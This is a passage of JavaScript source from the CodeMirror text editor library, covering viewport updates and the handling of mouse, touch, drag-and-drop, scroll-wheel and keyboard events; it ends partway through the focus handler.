  // Find the view element corresponding to a given line. Return null
  // when the line isn't visible.
  function findViewIndex(cm, n) {
    if (n >= cm.display.viewTo) return null;
    n -= cm.display.viewFrom;
    if (n < 0) return null;
    var view = cm.display.view;
    for (var i = 0; i < view.length; i++) {
      n -= view[i].size;
      if (n < 0) return i;
    }
  }

  function viewCuttingPoint(cm, oldN, newN, dir) {
    var index = findViewIndex(cm, oldN), diff, view = cm.display.view;
    if (!sawCollapsedSpans || newN == cm.doc.first + cm.doc.size)
      return {index: index, lineN: newN};
    for (var i = 0, n = cm.display.viewFrom; i < index; i++)
      n += view[i].size;
    if (n != oldN) {
      if (dir > 0) {
        if (index == view.length - 1) return null;
        diff = (n + view[index].size) - oldN;
        index++;
      } else {
        diff = n - oldN;
      }
      oldN += diff; newN += diff;
    }
    while (visualLineNo(cm.doc, newN) != newN) {
      if (index == (dir < 0 ? 0 : view.length - 1)) return null;
      newN += dir * view[index - (dir < 0 ? 1 : 0)].size;
      index += dir;
    }
    return {index: index, lineN: newN};
  }

  // Force the view to cover a given range, adding empty view element
  // or clipping off existing ones as needed.
  function adjustView(cm, from, to) {
    var display = cm.display, view = display.view;
    if (view.length == 0 || from >= display.viewTo || to <= display.viewFrom) {
      display.view = buildViewArray(cm, from, to);
      display.viewFrom = from;
    } else {
      if (display.viewFrom > from)
        display.view = buildViewArray(cm, from, display.viewFrom).concat(display.view);
      else if (display.viewFrom < from)
        display.view = display.view.slice(findViewIndex(cm, from));
      display.viewFrom = from;
      if (display.viewTo < to)
        display.view = display.view.concat(buildViewArray(cm, display.viewTo, to));
      else if (display.viewTo > to)
        display.view = display.view.slice(0, findViewIndex(cm, to));
    }
    display.viewTo = to;
  }

  // Count the number of lines in the view whose DOM representation is
  // out of date (or nonexistent).
  function countDirtyView(cm) {
    var view = cm.display.view, dirty = 0;
    for (var i = 0; i < view.length; i++) {
      var lineView = view[i];
      if (!lineView.hidden && (!lineView.node || lineView.changes)) ++dirty;
    }
    return dirty;
  }

  // EVENT HANDLERS

  // Attach the necessary event handlers when initializing the editor
  function registerEventHandlers(cm) {
    var d = cm.display;
    on(d.scroller, "mousedown", operation(cm, onMouseDown));
    // Older IE's will not fire a second mousedown for a double click
    if (ie && ie_version < 11)
      on(d.scroller, "dblclick", operation(cm, function(e) {
        if (signalDOMEvent(cm, e)) return;
        var pos = posFromMouse(cm, e);
        if (!pos || clickInGutter(cm, e) || eventInWidget(cm.display, e)) return;
        e_preventDefault(e);
        var word = cm.findWordAt(pos);
        extendSelection(cm.doc, word.anchor, word.head);
      }));
    else
      on(d.scroller, "dblclick", function(e) { signalDOMEvent(cm, e) || e_preventDefault(e); });
    // Some browsers fire contextmenu *after* opening the menu, at
    // which point we can't mess with it anymore. Context menu is
    // handled in onMouseDown for these browsers.
    if (!captureRightClick) on(d.scroller, "contextmenu", function(e) {onContextMenu(cm, e);});

    // Used to suppress mouse event handling when a touch happens
    var touchFinished, prevTouch = {end: 0};
    function finishTouch() {
      if (d.activeTouch) {
        touchFinished = setTimeout(function() {d.activeTouch = null;}, 1000);
        prevTouch = d.activeTouch;
        prevTouch.end = +new Date;
      }
    };
    function isMouseLikeTouchEvent(e) {
      if (e.touches.length != 1) return false;
      var touch = e.touches[0];
      return touch.radiusX <= 1 && touch.radiusY <= 1;
    }
    function farAway(touch, other) {
      if (other.left == null) return true;
      var dx = other.left - touch.left, dy = other.top - touch.top;
      return dx * dx + dy * dy > 20 * 20;
    }
    on(d.scroller, "touchstart", function(e) {
      if (!isMouseLikeTouchEvent(e)) {
        clearTimeout(touchFinished);
        var now = +new Date;
        d.activeTouch = {start: now, moved: false,
                         prev: now - prevTouch.end <= 300 ? prevTouch : null};
        if (e.touches.length == 1) {
          d.activeTouch.left = e.touches[0].pageX;
          d.activeTouch.top = e.touches[0].pageY;
        }
      }
    });
    on(d.scroller, "touchmove", function() {
      if (d.activeTouch) d.activeTouch.moved = true;
    });
    on(d.scroller, "touchend", function(e) {
      var touch = d.activeTouch;
      if (touch && !eventInWidget(d, e) && touch.left != null &&
          !touch.moved && new Date - touch.start < 300) {
        var pos = cm.coordsChar(d.activeTouch, "page"), range;
        if (!touch.prev || farAway(touch, touch.prev)) // Single tap
          range = new Range(pos, pos);
        else if (!touch.prev.prev || farAway(touch, touch.prev.prev)) // Double tap
          range = cm.findWordAt(pos);
        else // Triple tap
          range = new Range(Pos(pos.line, 0), clipPos(cm.doc, Pos(pos.line + 1, 0)));
        cm.setSelection(range.anchor, range.head);
        cm.focus();
        e_preventDefault(e);
      }
      finishTouch();
    });
    on(d.scroller, "touchcancel", finishTouch);

    // Sync scrolling between fake scrollbars and real scrollable
    // area, ensure viewport is updated when scrolling.
    on(d.scroller, "scroll", function() {
      if (d.scroller.clientHeight) {
        setScrollTop(cm, d.scroller.scrollTop);
        setScrollLeft(cm, d.scroller.scrollLeft, true);
        signal(cm, "scroll", cm);
      }
    });

    // Listen to wheel events in order to try and update the viewport on time.
    on(d.scroller, "mousewheel", function(e){onScrollWheel(cm, e);});
    on(d.scroller, "DOMMouseScroll", function(e){onScrollWheel(cm, e);});

    // Prevent wrapper from ever scrolling
    on(d.wrapper, "scroll", function() { d.wrapper.scrollTop = d.wrapper.scrollLeft = 0; });

    d.dragFunctions = {
      enter: function(e) {if (!signalDOMEvent(cm, e)) e_stop(e);},
      over: function(e) {if (!signalDOMEvent(cm, e)) { onDragOver(cm, e); e_stop(e); }},
      start: function(e){onDragStart(cm, e);},
      drop: operation(cm, onDrop),
      leave: function() {clearDragCursor(cm);}
    };

    var inp = d.input.getField();
    on(inp, "keyup", function(e) { onKeyUp.call(cm, e); });
    on(inp, "keydown", operation(cm, onKeyDown));
    on(inp, "keypress", operation(cm, onKeyPress));
    on(inp, "focus", bind(onFocus, cm));
    on(inp, "blur", bind(onBlur, cm));
  }

  function dragDropChanged(cm, value, old) {
    var wasOn = old && old != CodeMirror.Init;
    if (!value != !wasOn) {
      var funcs = cm.display.dragFunctions;
      var toggle = value ? on : off;
      toggle(cm.display.scroller, "dragstart", funcs.start);
      toggle(cm.display.scroller, "dragenter", funcs.enter);
      toggle(cm.display.scroller, "dragover", funcs.over);
      toggle(cm.display.scroller, "dragleave", funcs.leave);
      toggle(cm.display.scroller, "drop", funcs.drop);
    }
  }

  // Called when the window resizes
  function onResize(cm) {
    var d = cm.display;
    if (d.lastWrapHeight == d.wrapper.clientHeight && d.lastWrapWidth == d.wrapper.clientWidth)
      return;
    // Might be a text scaling operation, clear size caches.
    d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;
    d.scrollbarsClipped = false;
    cm.setSize();
  }

  // MOUSE EVENTS

  // Return true when the given mouse event happened in a widget
  function eventInWidget(display, e) {
    for (var n = e_target(e); n != display.wrapper; n = n.parentNode) {
      if (!n || (n.nodeType == 1 && n.getAttribute("cm-ignore-events") == "true") ||
          (n.parentNode == display.sizer && n != display.mover))
        return true;
    }
  }

  // Given a mouse event, find the corresponding position. If liberal
  // is false, it checks whether a gutter or scrollbar was clicked,
  // and returns null if it was. forRect is used by rectangular
  // selections, and tries to estimate a character position even for
  // coordinates beyond the right of the text.
  function posFromMouse(cm, e, liberal, forRect) {
    var display = cm.display;
    if (!liberal && e_target(e).getAttribute("cm-not-content") == "true") return null;

    var x, y, space = display.lineSpace.getBoundingClientRect();
    // Fails unpredictably on IE[67] when mouse is dragged around quickly.
    try { x = e.clientX - space.left; y = e.clientY - space.top; }
    catch (e) { return null; }
    var coords = coordsChar(cm, x, y), line;
    if (forRect && coords.xRel == 1 && (line = getLine(cm.doc, coords.line).text).length == coords.ch) {
      var colDiff = countColumn(line, line.length, cm.options.tabSize) - line.length;
      coords = Pos(coords.line, Math.max(0, Math.round((x - paddingH(cm.display).left) / charWidth(cm.display)) - colDiff));
    }
    return coords;
  }

  // A mouse down can be a single click, double click, triple click,
  // start of selection drag, start of text drag, new cursor
  // (ctrl-click), rectangle drag (alt-drag), or xwin
  // middle-click-paste. Or it might be a click on something we should
  // not interfere with, such as a scrollbar or widget.
  function onMouseDown(e) {
    var cm = this, display = cm.display;
    if (display.activeTouch && display.input.supportsTouch() || signalDOMEvent(cm, e)) return;
    display.shift = e.shiftKey;

    if (eventInWidget(display, e)) {
      if (!webkit) {
        // Briefly turn off draggability, to allow widgets to do
        // normal dragging things.
        display.scroller.draggable = false;
        setTimeout(function(){display.scroller.draggable = true;}, 100);
      }
      return;
    }
    if (clickInGutter(cm, e)) return;
    var start = posFromMouse(cm, e);
    window.focus();

    switch (e_button(e)) {
    case 1:
      // #3261: make sure, that we're not starting a second selection
      if (cm.state.selectingText)
        cm.state.selectingText(e);
      else if (start)
        leftButtonDown(cm, e, start);
      else if (e_target(e) == display.scroller)
        e_preventDefault(e);
      break;
    case 2:
      if (webkit) cm.state.lastMiddleDown = +new Date;
      if (start) extendSelection(cm.doc, start);
      setTimeout(function() {display.input.focus();}, 20);
      e_preventDefault(e);
      break;
    case 3:
      if (captureRightClick) onContextMenu(cm, e);
      else delayBlurEvent(cm);
      break;
    }
  }

  var lastClick, lastDoubleClick;
  function leftButtonDown(cm, e, start) {
    if (ie) setTimeout(bind(ensureFocus, cm), 0);
    else cm.curOp.focus = activeElt();

    var now = +new Date, type;
    if (lastDoubleClick && lastDoubleClick.time > now - 400 && cmp(lastDoubleClick.pos, start) == 0) {
      type = "triple";
    } else if (lastClick && lastClick.time > now - 400 && cmp(lastClick.pos, start) == 0) {
      type = "double";
      lastDoubleClick = {time: now, pos: start};
    } else {
      type = "single";
      lastClick = {time: now, pos: start};
    }

    var sel = cm.doc.sel, modifier = mac ? e.metaKey : e.ctrlKey, contained;
    if (cm.options.dragDrop && dragAndDrop && !isReadOnly(cm) &&
        type == "single" && (contained = sel.contains(start)) > -1 &&
        (cmp((contained = sel.ranges[contained]).from(), start) < 0 || start.xRel > 0) &&
        (cmp(contained.to(), start) > 0 || start.xRel < 0))
      leftButtonStartDrag(cm, e, start, modifier);
    else
      leftButtonSelect(cm, e, start, type, modifier);
  }

  // Start a text drag. When it ends, see if any dragging actually
  // happen, and treat as a click if it didn't.
  function leftButtonStartDrag(cm, e, start, modifier) {
    var display = cm.display, startTime = +new Date;
    var dragEnd = operation(cm, function(e2) {
      if (webkit) display.scroller.draggable = false;
      cm.state.draggingText = false;
      off(document, "mouseup", dragEnd);
      off(display.scroller, "drop", dragEnd);
      if (Math.abs(e.clientX - e2.clientX) + Math.abs(e.clientY - e2.clientY) < 10) {
        e_preventDefault(e2);
        if (!modifier && +new Date - 200 < startTime)
          extendSelection(cm.doc, start);
        // Work around unexplainable focus problem in IE9 (#2127) and Chrome (#3081)
        if (webkit || ie && ie_version == 9)
          setTimeout(function() {document.body.focus(); display.input.focus();}, 20);
        else
          display.input.focus();
      }
    });
    // Let the drag handler handle this.
    if (webkit) display.scroller.draggable = true;
    cm.state.draggingText = dragEnd;
    // IE's approach to draggable
    if (display.scroller.dragDrop) display.scroller.dragDrop();
    on(document, "mouseup", dragEnd);
    on(display.scroller, "drop", dragEnd);
  }

  // Normal selection, as opposed to text dragging.
  function leftButtonSelect(cm, e, start, type, addNew) {
    var display = cm.display, doc = cm.doc;
    e_preventDefault(e);

    var ourRange, ourIndex, startSel = doc.sel, ranges = startSel.ranges;
    if (addNew && !e.shiftKey) {
      ourIndex = doc.sel.contains(start);
      if (ourIndex > -1)
        ourRange = ranges[ourIndex];
      else
        ourRange = new Range(start, start);
    } else {
      ourRange = doc.sel.primary();
      ourIndex = doc.sel.primIndex;
    }

    if (e.altKey) {
      type = "rect";
      if (!addNew) ourRange = new Range(start, start);
      start = posFromMouse(cm, e, true, true);
      ourIndex = -1;
    } else if (type == "double") {
      var word = cm.findWordAt(start);
      if (cm.display.shift || doc.extend)
        ourRange = extendRange(doc, ourRange, word.anchor, word.head);
      else
        ourRange = word;
    } else if (type == "triple") {
      var line = new Range(Pos(start.line, 0), clipPos(doc, Pos(start.line + 1, 0)));
      if (cm.display.shift || doc.extend)
        ourRange = extendRange(doc, ourRange, line.anchor, line.head);
      else
        ourRange = line;
    } else {
      ourRange = extendRange(doc, ourRange, start);
    }

    if (!addNew) {
      ourIndex = 0;
      setSelection(doc, new Selection([ourRange], 0), sel_mouse);
      startSel = doc.sel;
    } else if (ourIndex == -1) {
      ourIndex = ranges.length;
      setSelection(doc, normalizeSelection(ranges.concat([ourRange]), ourIndex),
                   {scroll: false, origin: "*mouse"});
    } else if (ranges.length > 1 && ranges[ourIndex].empty() && type == "single" && !e.shiftKey) {
      setSelection(doc, normalizeSelection(ranges.slice(0, ourIndex).concat(ranges.slice(ourIndex + 1)), 0),
                   {scroll: false, origin: "*mouse"});
      startSel = doc.sel;
    } else {
      replaceOneSelection(doc, ourIndex, ourRange, sel_mouse);
    }

    var lastPos = start;
    function extendTo(pos) {
      if (cmp(lastPos, pos) == 0) return;
      lastPos = pos;

      if (type == "rect") {
        var ranges = [], tabSize = cm.options.tabSize;
        var startCol = countColumn(getLine(doc, start.line).text, start.ch, tabSize);
        var posCol = countColumn(getLine(doc, pos.line).text, pos.ch, tabSize);
        var left = Math.min(startCol, posCol), right = Math.max(startCol, posCol);
        for (var line = Math.min(start.line, pos.line), end = Math.min(cm.lastLine(), Math.max(start.line, pos.line));
             line <= end; line++) {
          var text = getLine(doc, line).text, leftPos = findColumn(text, left, tabSize);
          if (left == right)
            ranges.push(new Range(Pos(line, leftPos), Pos(line, leftPos)));
          else if (text.length > leftPos)
            ranges.push(new Range(Pos(line, leftPos), Pos(line, findColumn(text, right, tabSize))));
        }
        if (!ranges.length) ranges.push(new Range(start, start));
        setSelection(doc, normalizeSelection(startSel.ranges.slice(0, ourIndex).concat(ranges), ourIndex),
                     {origin: "*mouse", scroll: false});
        cm.scrollIntoView(pos);
      } else {
        var oldRange = ourRange;
        var anchor = oldRange.anchor, head = pos;
        if (type != "single") {
          if (type == "double")
            var range = cm.findWordAt(pos);
          else
            var range = new Range(Pos(pos.line, 0), clipPos(doc, Pos(pos.line + 1, 0)));
          if (cmp(range.anchor, anchor) > 0) {
            head = range.head;
            anchor = minPos(oldRange.from(), range.anchor);
          } else {
            head = range.anchor;
            anchor = maxPos(oldRange.to(), range.head);
          }
        }
        var ranges = startSel.ranges.slice(0);
        ranges[ourIndex] = new Range(clipPos(doc, anchor), head);
        setSelection(doc, normalizeSelection(ranges, ourIndex), sel_mouse);
      }
    }

    var editorSize = display.wrapper.getBoundingClientRect();
    // Used to ensure timeout re-tries don't fire when another extend
    // happened in the meantime (clearTimeout isn't reliable -- at
    // least on Chrome, the timeouts still happen even when cleared,
    // if the clear happens after their scheduled firing time).
    var counter = 0;

    function extend(e) {
      var curCount = ++counter;
      var cur = posFromMouse(cm, e, true, type == "rect");
      if (!cur) return;
      if (cmp(cur, lastPos) != 0) {
        cm.curOp.focus = activeElt();
        extendTo(cur);
        var visible = visibleLines(display, doc);
        if (cur.line >= visible.to || cur.line < visible.from)
          setTimeout(operation(cm, function(){if (counter == curCount) extend(e);}), 150);
      } else {
        var outside = e.clientY < editorSize.top ? -20 : e.clientY > editorSize.bottom ? 20 : 0;
        if (outside) setTimeout(operation(cm, function() {
          if (counter != curCount) return;
          display.scroller.scrollTop += outside;
          extend(e);
        }), 50);
      }
    }

    function done(e) {
      cm.state.selectingText = false;
      counter = Infinity;
      e_preventDefault(e);
      display.input.focus();
      off(document, "mousemove", move);
      off(document, "mouseup", up);
      doc.history.lastSelOrigin = null;
    }

    var move = operation(cm, function(e) {
      if (!e_button(e)) done(e);
      else extend(e);
    });
    var up = operation(cm, done);
    cm.state.selectingText = up;
    on(document, "mousemove", move);
    on(document, "mouseup", up);
  }

  // Determines whether an event happened in the gutter, and fires the
  // handlers for the corresponding event.
  function gutterEvent(cm, e, type, prevent) {
    try { var mX = e.clientX, mY = e.clientY; }
    catch(e) { return false; }
    if (mX >= Math.floor(cm.display.gutters.getBoundingClientRect().right)) return false;
    if (prevent) e_preventDefault(e);

    var display = cm.display;
    var lineBox = display.lineDiv.getBoundingClientRect();

    if (mY > lineBox.bottom || !hasHandler(cm, type)) return e_defaultPrevented(e);
    mY -= lineBox.top - display.viewOffset;

    for (var i = 0; i < cm.options.gutters.length; ++i) {
      var g = display.gutters.childNodes[i];
      if (g && g.getBoundingClientRect().right >= mX) {
        var line = lineAtHeight(cm.doc, mY);
        var gutter = cm.options.gutters[i];
        signal(cm, type, cm, line, gutter, e);
        return e_defaultPrevented(e);
      }
    }
  }

  function clickInGutter(cm, e) {
    return gutterEvent(cm, e, "gutterClick", true);
  }

  // Kludge to work around strange IE behavior where it'll sometimes
  // re-fire a series of drag-related events right after the drop (#1551)
  var lastDrop = 0;

  function onDrop(e) {
    var cm = this;
    clearDragCursor(cm);
    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e))
      return;
    e_preventDefault(e);
    if (ie) lastDrop = +new Date;
    var pos = posFromMouse(cm, e, true), files = e.dataTransfer.files;
    if (!pos || isReadOnly(cm)) return;
    // Might be a file drop, in which case we simply extract the text
    // and insert it.
    if (files && files.length && window.FileReader && window.File) {
      var n = files.length, text = Array(n), read = 0;
      var loadFile = function(file, i) {
        if (cm.options.allowDropFileTypes &&
            indexOf(cm.options.allowDropFileTypes, file.type) == -1)
          return;

        var reader = new FileReader;
        reader.onload = operation(cm, function() {
          var content = reader.result;
          if (/[\x00-\x08\x0e-\x1f]{2}/.test(content)) content = "";
          text[i] = content;
          if (++read == n) {
            pos = clipPos(cm.doc, pos);
            var change = {from: pos, to: pos,
                          text: cm.doc.splitLines(text.join(cm.doc.lineSeparator())),
                          origin: "paste"};
            makeChange(cm.doc, change);
            setSelectionReplaceHistory(cm.doc, simpleSelection(pos, changeEnd(change)));
          }
        });
        reader.readAsText(file);
      };
      for (var i = 0; i < n; ++i) loadFile(files[i], i);
    } else { // Normal drop
      // Don't do a replace if the drop happened inside of the selected text.
      if (cm.state.draggingText && cm.doc.sel.contains(pos) > -1) {
        cm.state.draggingText(e);
        // Ensure the editor is re-focused
        setTimeout(function() {cm.display.input.focus();}, 20);
        return;
      }
      try {
        var text = e.dataTransfer.getData("Text");
        if (text) {
          if (cm.state.draggingText && !(mac ? e.altKey : e.ctrlKey))
            var selected = cm.listSelections();
          setSelectionNoUndo(cm.doc, simpleSelection(pos, pos));
          if (selected) for (var i = 0; i < selected.length; ++i)
            replaceRange(cm.doc, "", selected[i].anchor, selected[i].head, "drag");
          cm.replaceSelection(text, "around", "paste");
          cm.display.input.focus();
        }
      }
      catch(e){}
    }
  }

  function onDragStart(cm, e) {
    if (ie && (!cm.state.draggingText || +new Date - lastDrop < 100)) { e_stop(e); return; }
    if (signalDOMEvent(cm, e) || eventInWidget(cm.display, e)) return;

    e.dataTransfer.setData("Text", cm.getSelection());

    // Use dummy image instead of default browsers image.
    // Recent Safari (~6.0.2) have a tendency to segfault when this happens, so we don't do it there.
    if (e.dataTransfer.setDragImage && !safari) {
      var img = elt("img", null, null, "position: fixed; left: 0; top: 0;");
      img.src = "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";
      if (presto) {
        img.width = img.height = 1;
        cm.display.wrapper.appendChild(img);
        // Force a relayout, or Opera won't use our image for some obscure reason
        img._top = img.offsetTop;
      }
      e.dataTransfer.setDragImage(img, 0, 0);
      if (presto) img.parentNode.removeChild(img);
    }
  }

  function onDragOver(cm, e) {
    var pos = posFromMouse(cm, e);
    if (!pos) return;
    var frag = document.createDocumentFragment();
    drawSelectionCursor(cm, pos, frag);
    if (!cm.display.dragCursor) {
      cm.display.dragCursor = elt("div", null, "CodeMirror-cursors CodeMirror-dragcursors");
      cm.display.lineSpace.insertBefore(cm.display.dragCursor, cm.display.cursorDiv);
    }
    removeChildrenAndAdd(cm.display.dragCursor, frag);
  }

  function clearDragCursor(cm) {
    if (cm.display.dragCursor) {
      cm.display.lineSpace.removeChild(cm.display.dragCursor);
      cm.display.dragCursor = null;
    }
  }

  // SCROLL EVENTS

  // Sync the scrollable area and scrollbars, ensure the viewport
  // covers the visible area.
  function setScrollTop(cm, val) {
    if (Math.abs(cm.doc.scrollTop - val) < 2) return;
    cm.doc.scrollTop = val;
    if (!gecko) updateDisplaySimple(cm, {top: val});
    if (cm.display.scroller.scrollTop != val) cm.display.scroller.scrollTop = val;
    cm.display.scrollbars.setScrollTop(val);
    if (gecko) updateDisplaySimple(cm);
    startWorker(cm, 100);
  }
  // Sync scroller and scrollbar, ensure the gutter elements are
  // aligned.
  function setScrollLeft(cm, val, isScroller) {
    if (isScroller ? val == cm.doc.scrollLeft : Math.abs(cm.doc.scrollLeft - val) < 2) return;
    val = Math.min(val, cm.display.scroller.scrollWidth - cm.display.scroller.clientWidth);
    cm.doc.scrollLeft = val;
    alignHorizontally(cm);
    if (cm.display.scroller.scrollLeft != val) cm.display.scroller.scrollLeft = val;
    cm.display.scrollbars.setScrollLeft(val);
  }

  // Since the delta values reported on mouse wheel events are
  // unstandardized between browsers and even browser versions, and
  // generally horribly unpredictable, this code starts by measuring
  // the scroll effect that the first few mouse wheel events have,
  // and, from that, detects the way it can convert deltas to pixel
  // offsets afterwards.
  //
  // The reason we want to know the amount a wheel event will scroll
  // is that it gives us a chance to update the display before the
  // actual scrolling happens, reducing flickering.

  var wheelSamples = 0, wheelPixelsPerUnit = null;
  // Fill in a browser-detected starting value on browsers where we
  // know one. These don't have to be accurate -- the result of them
  // being wrong would just be a slight flicker on the first wheel
  // scroll (if it is large enough).
  if (ie) wheelPixelsPerUnit = -.53;
  else if (gecko) wheelPixelsPerUnit = 15;
  else if (chrome) wheelPixelsPerUnit = -.7;
  else if (safari) wheelPixelsPerUnit = -1/3;

  var wheelEventDelta = function(e) {
    var dx = e.wheelDeltaX, dy = e.wheelDeltaY;
    if (dx == null && e.detail && e.axis == e.HORIZONTAL_AXIS) dx = e.detail;
    if (dy == null && e.detail && e.axis == e.VERTICAL_AXIS) dy = e.detail;
    else if (dy == null) dy = e.wheelDelta;
    return {x: dx, y: dy};
  };
  CodeMirror.wheelEventPixels = function(e) {
    var delta = wheelEventDelta(e);
    delta.x *= wheelPixelsPerUnit;
    delta.y *= wheelPixelsPerUnit;
    return delta;
  };

  function onScrollWheel(cm, e) {
    var delta = wheelEventDelta(e), dx = delta.x, dy = delta.y;

    var display = cm.display, scroll = display.scroller;
    // Quit if there's nothing to scroll here
    var canScrollX = scroll.scrollWidth > scroll.clientWidth;
    var canScrollY = scroll.scrollHeight > scroll.clientHeight;
    if (!(dx && canScrollX || dy && canScrollY)) return;

    // Webkit browsers on OS X abort momentum scrolls when the target
    // of the scroll event is removed from the scrollable element.
    // This hack (see related code in patchDisplay) makes sure the
    // element is kept around.
    if (dy && mac && webkit) {
      outer: for (var cur = e.target, view = display.view; cur != scroll; cur = cur.parentNode) {
        for (var i = 0; i < view.length; i++) {
          if (view[i].node == cur) {
            cm.display.currentWheelTarget = cur;
            break outer;
          }
        }
      }
    }

    // On some browsers, horizontal scrolling will cause redraws to
    // happen before the gutter has been realigned, causing it to
    // wriggle around in a most unseemly way. When we have an
    // estimated pixels/delta value, we just handle horizontal
    // scrolling entirely here. It'll be slightly off from native, but
    // better than glitching out.
    if (dx && !gecko && !presto && wheelPixelsPerUnit != null) {
      if (dy && canScrollY)
        setScrollTop(cm, Math.max(0, Math.min(scroll.scrollTop + dy * wheelPixelsPerUnit, scroll.scrollHeight - scroll.clientHeight)));
      setScrollLeft(cm, Math.max(0, Math.min(scroll.scrollLeft + dx * wheelPixelsPerUnit, scroll.scrollWidth - scroll.clientWidth)));
      // Only prevent default scrolling if vertical scrolling is
      // actually possible. Otherwise, it causes vertical scroll
      // jitter on OSX trackpads when deltaX is small and deltaY
      // is large (issue #3579)
      if (!dy || (dy && canScrollY))
        e_preventDefault(e);
      display.wheelStartX = null; // Abort measurement, if in progress
      return;
    }

    // 'Project' the visible viewport to cover the area that is being
    // scrolled into view (if we know enough to estimate it).
    if (dy && wheelPixelsPerUnit != null) {
      var pixels = dy * wheelPixelsPerUnit;
      var top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight;
      if (pixels < 0) top = Math.max(0, top + pixels - 50);
      else bot = Math.min(cm.doc.height, bot + pixels + 50);
      updateDisplaySimple(cm, {top: top, bottom: bot});
    }

    if (wheelSamples < 20) {
      if (display.wheelStartX == null) {
        display.wheelStartX = scroll.scrollLeft; display.wheelStartY = scroll.scrollTop;
        display.wheelDX = dx; display.wheelDY = dy;
        setTimeout(function() {
          if (display.wheelStartX == null) return;
          var movedX = scroll.scrollLeft - display.wheelStartX;
          var movedY = scroll.scrollTop - display.wheelStartY;
          var sample = (movedY && display.wheelDY && movedY / display.wheelDY) ||
            (movedX && display.wheelDX && movedX / display.wheelDX);
          display.wheelStartX = display.wheelStartY = null;
          if (!sample) return;
          wheelPixelsPerUnit = (wheelPixelsPerUnit * wheelSamples + sample) / (wheelSamples + 1);
          ++wheelSamples;
        }, 200);
      } else {
        display.wheelDX += dx; display.wheelDY += dy;
      }
    }
  }

  // KEY EVENTS

  // Run a handler that was bound to a key.
  function doHandleBinding(cm, bound, dropShift) {
    if (typeof bound == "string") {
      bound = commands[bound];
      if (!bound) return false;
    }
    // Ensure previous input has been read, so that the handler sees a
    // consistent view of the document
    cm.display.input.ensurePolled();
    var prevShift = cm.display.shift, done = false;
    try {
      if (isReadOnly(cm)) cm.state.suppressEdits = true;
      if (dropShift) cm.display.shift = false;
      done = bound(cm) != Pass;
    } finally {
      cm.display.shift = prevShift;
      cm.state.suppressEdits = false;
    }
    return done;
  }

  function lookupKeyForEditor(cm, name, handle) {
    for (var i = 0; i < cm.state.keyMaps.length; i++) {
      var result = lookupKey(name, cm.state.keyMaps[i], handle, cm);
      if (result) return result;
    }
    return (cm.options.extraKeys && lookupKey(name, cm.options.extraKeys, handle, cm))
      || lookupKey(name, cm.options.keyMap, handle, cm);
  }

  var stopSeq = new Delayed;
  function dispatchKey(cm, name, e, handle) {
    var seq = cm.state.keySeq;
    if (seq) {
      if (isModifierKey(name)) return "handled";
      stopSeq.set(50, function() {
        if (cm.state.keySeq == seq) {
          cm.state.keySeq = null;
          cm.display.input.reset();
        }
      });
      name = seq + " " + name;
    }
    var result = lookupKeyForEditor(cm, name, handle);

    if (result == "multi")
      cm.state.keySeq = name;
    if (result == "handled")
      signalLater(cm, "keyHandled", cm, name, e);

    if (result == "handled" || result == "multi") {
      e_preventDefault(e);
      restartBlink(cm);
    }

    if (seq && !result && /\'$/.test(name)) {
      e_preventDefault(e);
      return true;
    }
    return !!result;
  }

  // Handle a key from the keydown event.
  function handleKeyBinding(cm, e) {
    var name = keyName(e, true);
    if (!name) return false;

    if (e.shiftKey && !cm.state.keySeq) {
      // First try to resolve full name (including 'Shift-'). Failing
      // that, see if there is a cursor-motion command (starting with
      // 'go') bound to the keyname without 'Shift-'.
      return dispatchKey(cm, "Shift-" + name, e, function(b) {return doHandleBinding(cm, b, true);})
          || dispatchKey(cm, name, e, function(b) {
               if (typeof b == "string" ? /^go[A-Z]/.test(b) : b.motion)
                 return doHandleBinding(cm, b);
             });
    } else {
      return dispatchKey(cm, name, e, function(b) { return doHandleBinding(cm, b); });
    }
  }

  // Handle a key from the keypress event
  function handleCharBinding(cm, e, ch) {
    return dispatchKey(cm, "'" + ch + "'", e,
                       function(b) { return doHandleBinding(cm, b, true); });
  }

  var lastStoppedKey = null;
  function onKeyDown(e) {
    var cm = this;
    cm.curOp.focus = activeElt();
    if (signalDOMEvent(cm, e)) return;
    // IE does strange things with escape.
    if (ie && ie_version < 11 && e.keyCode == 27) e.returnValue = false;
    var code = e.keyCode;
    cm.display.shift = code == 16 || e.shiftKey;
    var handled = handleKeyBinding(cm, e);
    if (presto) {
      lastStoppedKey = handled ? code : null;
      // Opera has no cut event... we try to at least catch the key combo
      if (!handled && code == 88 && !hasCopyEvent && (mac ? e.metaKey : e.ctrlKey))
        cm.replaceSelection("", null, "cut");
    }

    // Turn mouse into crosshair when Alt is held on Mac.
    if (code == 18 && !/\bCodeMirror-crosshair\b/.test(cm.display.lineDiv.className))
      showCrossHair(cm);
  }

  function showCrossHair(cm) {
    var lineDiv = cm.display.lineDiv;
    addClass(lineDiv, "CodeMirror-crosshair");

    function up(e) {
      if (e.keyCode == 18 || !e.altKey) {
        rmClass(lineDiv, "CodeMirror-crosshair");
        off(document, "keyup", up);
        off(document, "mouseover", up);
      }
    }
    on(document, "keyup", up);
    on(document, "mouseover", up);
  }

  function onKeyUp(e) {
    if (e.keyCode == 16) this.doc.sel.shift = false;
    signalDOMEvent(this, e);
  }

  function onKeyPress(e) {
    var cm = this;
    if (eventInWidget(cm.display, e) || signalDOMEvent(cm, e) || e.ctrlKey && !e.altKey || mac && e.metaKey) return;
    var keyCode = e.keyCode, charCode = e.charCode;
    if (presto && keyCode == lastStoppedKey) {lastStoppedKey = null; e_preventDefault(e); return;}
    if ((presto && (!e.which || e.which < 10)) && handleKeyBinding(cm, e)) return;
    var ch = String.fromCharCode(charCode == null ? keyCode : charCode);
    if (handleCharBinding(cm, e, ch)) return;
    cm.display.input.onKeyPress(e);
  }

  // FOCUS/BLUR EVENTS

  function delayBlurEvent(cm) {
    cm.state.delayingBlurEvent = true;
    setTimeout(function() {
      if (cm.state.delayingBlurEvent) {
        cm.state.delayingBlurEvent = false;
        onBlur(cm);
      }
    }, 100);
  }

  function onFocus(cm) {
    if (cm.state.delayingBlurEvent) cm.state.delayingBlurEvent = false;

    if (cm.options.readOnly == "nocursor") return;
    if (!cm.state.focused) {
      signal(cm, "focus", cm);
      cm.state.focused = true;
      addClass(cm.display.wrapper, "CodeMirror-focused");
      // This test prevents this from firing when a context
      // menu is closed (since the input reset would kill the
      // select-all detection hack)
